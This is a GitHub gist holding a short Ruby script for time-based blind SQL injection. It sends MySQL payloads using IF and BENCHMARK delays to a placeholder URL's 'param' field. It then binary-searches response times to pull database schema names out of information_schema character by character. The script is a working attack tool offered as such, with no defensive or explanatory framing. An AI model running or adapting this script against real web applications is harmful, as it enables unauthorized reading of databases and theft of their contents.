Skip to content

Instantly share code, notes, and snippets.

@Techbrunch
Created October 6, 2014 12:47
Show Gist options
  • Save Techbrunch/fe26ac86b6139b806ee1 to your computer and use it in GitHub Desktop.
Save Techbrunch/fe26ac86b6139b806ee1 to your computer and use it in GitHub Desktop.
Small script for Time Based Blind SQL Injection in Ruby
require 'net/http'
require 'uri'
uri = URI.parse('http://www.test.com/index.php')
http = Net::HTTP.new(uri.host, uri.port)
hex = (('a'..'f').to_a + ('0'..'9').to_a).sort.map { |x| x.ord }
ascii = (32..127).to_a
tables = ''
for i in 1..5
correct_char = ascii.bsearch do |char|
puts i.to_s + ' (' + char.to_s + ')'
payload = 'IF((SELECT ascii(mid(lower(hex(group_concat(schema_name))),' + i.to_s + ',1)) FROM information_schema.schemata)>=' + char.to_s + ', BENCHMARK(3000000,SHA1(0x74657374 )), false)'
start_time = Time.now
response = Net::HTTP.post_form(
uri,
'param' => payload
)
elapsed_time = Time.now - start_time
puts payload
sleep(5)
puts 'position: ' + i.to_s + ' char:' + char.chr + ' (' + char.to_s + ') ' + elapsed_time.to_s + ' - ' + response.body.length.to_s
elapsed_time > 1
end
puts 'Found correct char: ' + correct_char.chr + ' at ' + i.to_s
tables += correct_char.chr
puts tables
end
puts tables
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment